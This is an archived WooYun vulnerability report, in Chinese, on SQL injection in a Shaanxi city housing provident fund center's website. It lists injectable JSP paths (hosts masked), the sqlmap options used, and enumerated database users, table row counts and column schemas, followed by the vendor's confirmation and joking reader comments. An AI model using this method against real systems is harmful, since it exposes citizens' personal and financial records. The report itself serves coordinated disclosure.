陕西省某市住房公积金管理中心多处存在SQL主任（DBA权限/22个数据库/大量用户/几千万数据可被泄漏）

admin
admin
admin
102803
文章
87
评论
2017年4月16日16:16:49评论610 views字数 265阅读0分53秒阅读模式
摘要

2016-04-04： 细节已通知厂商并且等待厂商处理中
2016-04-06： 厂商已经确认，细节仅向厂商公开
2016-04-16： 细节向核心白帽子及相关领域专家公开
2016-04-26： 细节向普通白帽子公开
2016-05-06： 细节向实习白帽子公开
2016-05-21： 细节向公众公开

漏洞概要 关注数(21) 关注此漏洞

缺陷编号： WooYun-2016-192290

漏洞标题： 陕西省某市住房公积金管理中心多处存在SQL主任（DBA权限/22个数据库/大量用户/几千万数据可被泄漏）

相关厂商： 陕西省住房资金管理中心

漏洞作者： 路人甲

提交时间： 2016-04-04 13:30

公开时间： 2016-05-21 14:20

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 20

漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 无

2人收藏

漏洞详情

披露状态：

2016-04-04： 细节已通知厂商并且等待厂商处理中
2016-04-06： 厂商已经确认，细节仅向厂商公开
2016-04-16： 细节向核心白帽子及相关领域专家公开
2016-04-26： 细节向普通白帽子公开
2016-05-06： 细节向实习白帽子公开
2016-05-21： 细节向公众公开

简要描述：

数据啊！~~~

详细说明：

注入点：

code 区域 
http://**.**.**.**/Website/newslist.jsp?ColumnCode=m0403
 http://**.**.**.**/website/newsshowphoto.jsp?ColumnCode=l07
 http://**.**.**.**/Website/contentshow.jsp?ColumnCode=m0301
 http://**.**.**.**/Website/newslistm8001.jsp?ColumnCode=m8001
 http://**.**.**.**/Website/newslistm0204.jsp?ColumnCode=m0204
 http://**.**.**.**/Website/filelist.jsp?ColumnCode=02

ColumnCode均存在注入

使用神器sqlmap测试，添加参数--threads 10 --dbms "Oracle" --level 3 --risk 3

code 区域 
database management system users [29]:
 [*] ANONYMOUS
 [*] BI
 [*] CTXSYS
 [*] DBSNMP
 [*] DIP
 [*] DMSYS
 [*] EXFSYS
 [*] GJJMX12
 [*] HR
 [*] HZGJJWZ
 [*] IX
 [*] MDDATA
 [*] MDSYS
 [*] MGMT_VIEW
 [*] OE
 [*] OLAPSYS
 [*] ORDPLUGINS
 [*] ORDSYS
 [*] OUTLN
 [*] PM
 [*] SCOTT
 [*] SH
 [*] SI_INFORMTN_SCHEMA
 [*] SYS
 [*] SYSMAN
 [*] SYSTEM
 [*] TSMSYS
 [*] WMSYS
 [*] XDB
 
 
 available databases [22]:
 [*] CTXSYS
 [*] DBSNMP
 [*] DMSYS
 [*] EXFSYS
 [*] GJJMX12
 [*] HR
 [*] HZGJJWZ
 [*] IX
 [*] MDSYS
 [*] OE
 [*] OLAPSYS
 [*] ORDSYS
 [*] OUTLN
 [*] PM
 [*] SCOTT
 [*] SH
 [*] SYS
 [*] SYSMAN
 [*] SYSTEM
 [*] TSMSYS
 [*] WMSYS
 [*] XDB
 
 我们就拿当前库来看看里面的数据吧！~~~
 
 总共429个表
 
 
 
 
 Database: GJJMX12
 +---------------+---------+
 | Table         | Entries |
 +---------------+---------+
 | GZRZK         | 4972418 |
 | GZZGPZK       | 4375675 |
 | GZJCZTK       | 1196180 |
 | GZBJK         | 1182516 |
 | APP_DBTRACE   | 1008941 |
 | GJJ_JHDL      | 954132  |
 | GZHKK         | 388469  |
 | GZPZK         | 281268  |
 | GZJBK         | 279636  |
 | GZBGK         | 217325  |
 | TX_DKHK_YHMXK | 145991  |
 | GZBGK_BAK     | 91660   |
 | GZZGKLK       | 69975   |
 | BM_G096       | 63320   |
 | GZJCRSTJK     | 53013   |
 | GZSHYJK       | 46992   |
 | GZRDK         | 43953   |
 | GZZQK         | 41364   |
 | GZSHK         | 38676   |
 | GZJKK         | 34834   |
 | GZDKK         | 21610   |
 | BM_E007       | 16390   |
 | GZTQK         | 16230   |
 | GZZQSPK       | 14198   |
 | BM_ZYDB       | 12028   |
 | AA11          | 8253    |
 | AA14          | 8232    |
 | AA13          | 8213    |
 | AA12          | 8195    |
 | AAGZZGPZK     | 5476    |
 | AAGZBJK       | 5409    |
 | GZHBK         | 4326    |
 | BM_A003       | 4174    |
 | GZJZK         | 3806    |
 | GZBGK_JBQK    | 3692    |
 | GZFXK         | 1955    |
 | BM_E009       | 1928    |
 | GZDKK_CL      | 1846    |
 | LOG_ERR       | 1782    |
 | BM_DYDB       | 1695    |
 | DABH          | 1648    |
 | GZDWBGK       | 1580    |
 | GZGJK         | 910     |
 | USER_ROLE     | 888     |
 | BM_DKDA       | 324     |
 | MODULE_FUNC   | 324     |
 | LYBJK         | 318     |
 | APP_REPORT_DK | 296     |
 | GZHKZHBGK     | 291     |
 | AAGZPZK       | 258     |
 | APP_USER      | 257     |
 | GZDKLLK       | 240     |
 | GZSQDAK       | 240     |
 | APP_REPORT    | 238     |
 | BM_LDDB       | 233     |
 | GZDKZXK       | 231     |
 | MENU_ITEM     | 173     |
 | BM_DKTJ       | 168     |
 | GZSHBGK       | 81      |
 | "PARAMETER"   | 80      |
 | GZTZK         | 77      |
 | BM_P015       | 72      |
 | JCK           | 71      |
 | AAGZJKK       | 67      |
 | AA10          | 65      |
 | GZDKBGK       | 63      |
 | AAGZRDK       | 62      |
 | BM_KMDY       | 55      |
 | GZDWJCBGSPK   | 54      |
 | AAGZZYK       | 52      |
 | BM_YWMK       | 50      |
 | BM_XTCS       | 49      |
 | BM_STYH       | 48      |
 | GZSHK_LY      | 39      |
 | BM_ZXZBBZ     | 37      |
 | BM_P012       | 36      |
 | BM_ZGBM       | 36      |
 | GZDWJCBGK     | 32      |
 | GZZCKZQK      | 29      |
 | GZBGK_DWQC    | 26      |
 | BM_TQCL       | 23      |
 | GZZYK         | 20      |
 | GZLLK         | 18      |
 | APP_ROLE      | 17      |
 | BM_A093       | 17      |
 | BM_D006       | 15      |
 | BM_ZGZW       | 15      |
 | BM_A097       | 14      |
 | BM_A075       | 13      |
 | GZLSK         | 13      |
 | BM_A073       | 12      |
 | BM_SSQX       | 12      |
 | BM_SPWJ       | 11      |
 | BM_ZGXL       | 11      |
 | BM_ZXZB       | 11      |
 | BM_A071       | 10      |
 | BM_DBFS       | 10      |
 | BM_XTZB       | 9       |
 | BM_B012       | 8       |
 | BM_HKFS       | 8       |
 | BM_HZDW       | 8       |
 | BM_TXJY       | 8       |
 | BM_ZGZC       | 8       |
 | BM_DKZGTJ     | 7       |
 | BM_G071       | 7       |
 | BM_ZZXM       | 7       |
 | BM_ZXJG       | 6       |
 | GZRDK_BAK     | 6       |
 | NEWS_FJK      | 6       |
 | BM_C006       | 5       |
 | BM_DKLX       | 5       |
 | BM_FWTX       | 5       |
 | BM_G067       | 5       |
 | BM_KHCL       | 5       |
 | BM_TQFW       | 5       |
 | BM_XHCL       | 5       |
 | BM_XHZM       | 5       |
 | BM_ZCXM       | 5       |
 | BM_ZGHY       | 5       |
 | GZSHDQBGK     | 5       |
 | BM_B031       | 4       |
 | BM_FZXM       | 4       |
 | BM_SRXM       | 4       |
 | BM_ZXDJ       | 4       |
 | BM_ZYZG       | 4       |
 | NZPZ          | 4       |
 | BM_A015       | 3       |
 | BM_A095       | 3       |
 | BM_DKSPJB     | 3       |
 | BM_DKSPSC     | 3       |
 | BM_LSDA       | 3       |
 | BM_SSGX       | 3       |
 | BM_XGCL       | 3       |
 | BM_XHYY       | 3       |
 | BM_ZJLX       | 3       |
 | GZJKK_DWDJ    | 3       |
 | GZSHDQBGSPK   | 3       |
 | NZCW          | 3       |
 | TMP_TABLE     | 3       |
 | BM_A005       | 2       |
 | BM_BGCL       | 2       |
 | BM_CXLX       | 2       |
 | BM_DYLX       | 2       |
 | BM_GJSPJB     | 2       |
 | BM_TQSPSC     | 2       |
 | BM_ZGZY       | 2       |
 | GZPZK_BAK     | 2       |
 | LYRDK         | 2       |
 | ZCKBAK        | 2       |
 | BM_A174       | 1       |
 | BM_E013       | 1       |
 | BM_FKYH       | 1       |
 | BM_G094       | 1       |
 | BM_G095       | 1       |
 | BM_G139       | 1       |
 | GZJKK_BAK     | 1       |
 | GZNDK         | 1       |
 | GZSHK_ZP      | 1       |
 +---------------+---------+
 
 
 Database: GJJMX12
 Table: GZRZK
 [13 columns]
 +-----------+----------+
 | Column    | Type     |
 +-----------+----------+
 | BEGINTIME | DATE     |
 | ENDTIME   | DATE     |
 | GJDBM     | VARCHAR2 |
 | LOGINIP   | VARCHAR2 |
 | LOGINMC   | VARCHAR2 |
 | LSGXBM    | VARCHAR2 |
 | TOPIC     | VARCHAR2 |
 | TPCODE    | VARCHAR2 |
 | USERID    | VARCHAR2 |
 | USERNAME  | VARCHAR2 |
 | YWCZBS    | NUMBER   |
 | YWCZLB    | VARCHAR2 |
 | YWMKBM    | VARCHAR2 |
 +-----------+----------+
 
 Database: GJJMX12
 Table: GZZGPZK
 [21 columns]
 +--------+----------+
 | Column | Type     |
 +--------+----------+
 | A001   | VARCHAR2 |
 | A002   | VARCHAR2 |
 | A003   | VARCHAR2 |
 | A071   | VARCHAR2 |
 | A073   | VARCHAR2 |
 | A075   | VARCHAR2 |
 | P002   | DATE     |
 | P005   | VARCHAR2 |
 | P006   | DATE     |
 | P007   | VARCHAR2 |
 | P008   | NUMBER   |
 | P009   | NUMBER   |
 | P012   | VARCHAR2 |
 | P015   | VARCHAR2 |
 | P018   | VARCHAR2 |
 | P021   | VARCHAR2 |
 | P023   | VARCHAR2 |
 | P026   | DATE     |
 | P029   | VARCHAR2 |
 | P030   | VARCHAR2 |
 | PZID   | VARCHAR2 |
 +--------+----------+

几千万的数据，只因太慢了，就不继续了！~~~

陕西省某市住房公积金管理中心多处存在SQL主任（DBA权限/22个数据库/大量用户/几千万数据可被泄漏）

陕西省某市住房公积金管理中心多处存在SQL主任（DBA权限/22个数据库/大量用户/几千万数据可被泄漏）

陕西省某市住房公积金管理中心多处存在SQL主任（DBA权限/22个数据库/大量用户/几千万数据可被泄漏）

陕西省某市住房公积金管理中心多处存在SQL主任（DBA权限/22个数据库/大量用户/几千万数据可被泄漏）

漏洞证明：

大量的用户，涉及几千万的信息了！~~~

修复方案：

过滤修复

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-04-06 14:14

厂商回复：

CNVD确认并复现所述情况,已经转由CNCERT下发给陕西分中心,由其后续协调网站管理单位处置.

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2016-04-04 13:38 | _Thorns ( 普通白帽子 | Rank:1754 漏洞数:125 | 以大多数人的努力程度之低，根本轮不到去拼...)

    1

    卧槽，我猜没有我。

  2. 2016-04-04 13:40 | Hero ( 普通白帽子 | Rank:162 漏洞数:44 | 药药切克闹,充气娃娃迷幻药)

    1

    SQL主任

  3. 2016-04-04 14:28 | 泪雨无魂 ( 普通白帽子 | Rank:318 漏洞数:22 | too young too simple)

    1

    这个SQL主任 有点牛逼啊

  4. 2016-04-04 15:13 | 坏男孩-A_A ( 实习白帽子 | 还没有发布任何漏洞 | 膜拜学习中)

    1

    SQL主任...

  5. 2016-04-04 15:50 | Martial ( 普通白帽子 | Rank:2639 漏洞数:105 | 竟然还有人冒充我，醉了，骗子QQ445697541...)

    1

    SQL主任，新姿势，学习了

  6. 2016-04-04 17:23 | Rangers ( 路人 | Rank:4 漏洞数:1 | #(太阳) 如若不是你，我定能肆无忌惮的嘲...)

    1

    这个SQL主任 有点牛逼啊

  7. 2016-04-04 18:19 | a10ooon3 ( 实习白帽子 | Rank:71 漏洞数:2 | 努力学习，多挖洞。(~˘▾˘)~)

    1

    sql主任，666

  8. 2016-04-04 18:26 | silencea ( 路人 | Rank:23 漏洞数:5 | 混迹互联网的小白)

    1

    SQL主任~

  9. 2016-04-05 08:01 | 雅柏菲卡 ( 普通白帽子 | Rank:1299 漏洞数:257 | 雙魚座聖鬥士雅柏菲卡)

    1

    SQL主任?

  10. 2016-04-05 08:35 | 刺刺 ( 普通白帽子 | Rank:711 漏洞数:49 | 真正的安全并不是技术，而是人类善良的心灵...)

    1

    中心的最高领导一般是主任，安全问题一把手来抓，没问题啊！

  11. 2016-04-05 09:17 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    1

    SQL主任 拼音输入法害人啊。

  12. 2016-04-05 14:21 | spr1ngbr0ther ( 路人 | Rank:4 漏洞数:1 | Eternal of life is made by believing Spr...)

    1

    SQL主任 厉害

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin